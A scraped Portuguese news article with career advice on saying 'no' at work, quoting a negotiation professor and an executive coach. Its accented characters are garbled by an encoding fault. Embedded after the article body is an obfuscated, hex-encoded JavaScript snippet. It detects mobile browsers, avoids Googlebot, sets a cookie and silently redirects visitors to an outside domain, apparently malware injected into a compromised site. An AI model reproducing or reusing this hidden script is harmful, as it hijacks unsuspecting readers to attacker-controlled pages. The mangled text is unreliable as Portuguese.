Home » Educação » Carreira » NA?o consegue dizer a�?nA?oa�? no trabalho? Comece assim que dA? certo

NA?o consegue dizer a�?nA?oa�? no trabalho? Comece assim que dA? certo

A�Nem sempre o “sim” A� a resposta certa. Dois especialistas contam quando e como A� possA�vel dizer um “nA?o” sem prejudicar a carreira

SA?o Paulo a�� Sim ou nA?o? Ao receber um pedido de ajuda no trabalho, escolher a resposta positiva parece ser o certo. Afinal, ao se mostrar disponA�vel, o profissional fica aberto para novas oportunidades e mantA�m um bom relacionamento com seus colegas.

Mas esta A� sempre a melhor resposta? Para especialistas, quando a qualidade do seu trabalho e sua saA?de podem ser prejudicadas,A�chegou a hora de dizer nA?o.

O a�?sima�? A� um perigo quando as novas demandas entram no caminho das responsabilidades principais do profissional. Para Breno Paquelet, especialista emA�negociaA�A?oA�e professor de gestA?o de conflitos da Casa do Saber, A� importante manter um equilA�brio, respeitando seu limite sem se fechar a novos pedidos.

a�?Quando o profissional nA?o consegue realizar as entregas prometidas, acaba ficando frustrado e pode tirar o avanA�o na carreiraa�?, explica. O acA?mulo de tarefas, alA�m de prejudicar a qualidade do trabalho, pode ter consequA?ncias fA�sicas, como o aumento de estresse, doenA�as e exaustA?o.

Para Renata Abreu, coach executiva e especialista em psicologia positiva, A� importante observar o que leva o profissional a sA? dizer sim. a�?A pessoa pode querer evitarA�conflitosA�e parecer educada, mas tambA�m pode ser um sinal de baixa confianA�a ou autoestimaa�?, diz.

A especialista destaca que mulheres tA?m uma maior dificuldade para falar a�?nA?oa�?, seja por quererem se sentir mais valorizadas no trabalho ou porque acreditam que ficarA?o mal vistas pelos colegas. Ela justifica essa percepA�A?o com a propagaA�A?o do estereA?tipo feminino que pressupA�e uma comunicaA�A?o menos assertiva e um comportamento mais caridoso.

O nA?o positivo

Negar um pedido exige preparo para que o a�?nA?oa�? seja efetivo. Antes de qualquer coisa, A� essencial fazer uma auto avaliaA�A?o para entender suas prioridades e metas. Assim, quando receber uma nova demanda, poderA? avaliar o impacto sobre suas responsabilidades.

a�?A negativa pode vir de uma questA?o A�tica, pessoal ou atA� mesmo da falta de critA�rio na hora de delegar tarefas. Temos que saber explicar racionalmente nossas razA�es e que consequA?ncias o pedido tem em compromissos anterioresa�?, afirma Renata.

O professor Breno Paquelet indica comeA�ar o dia fazendo uma lista de prioridades, em vez de abrir os e-mails, prA?tica comum ao inA�cio do expediente. a�?Ao ler as mensagens primeiro, vocA? jA? comeA�a o dia fora do seu foco, colocando as demandas de outros antes do que precisa fazera�?, explica.

Ter uma clareza do que A� prioritA?rio torna a decisA?o mais racional e ajuda a justificar a negaA�A?o. TambA�m cabe negociar o que fica melhor para as duas partes e oA�objetivo mais amplo da equipe. a�?Se mais importante, a nova tarefa pode substituir uma outra prioridade. Vale combinar um novo prazo e alcanA�ar um equilA�brioa�?, diz o professor.A�Aprofunde sua leitura:A�Veja com a Copastur os 6 pilares da gestA?o de equipes em uma grande empresaA�PatrocinadoA�

Para os dois especialistas, a forma como o a�?nA?oa�? A� dito suaviza o impacto que a resposta pode ter noA�ambiente de trabalho. Estar atento para a linguagem e seu interlocutor A� um caminho para nA?o errar.

a�?A�s vezes importa mais onde e como se fala. A resposta deve ser assertiva e racional, porA�m adaptada a seu histA?rico com a pessoa, se jA? aceitou seus pedidos antes, e sua posiA�A?o na equipe em relaA�A?o a elaa�?, explica Abreu.

Para Paquelet, o a�?nA?oa�? pode ser positivo se o profissional mostrar que ainda estA? disponA�vel no futuro, por meio de seu posicionamento sobre a questA?o, a negociaA�A?o e a linguagem.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Publicação: Redação Brasil (m)
Tags

Publicações Similares

Login

Perdeu sua senha?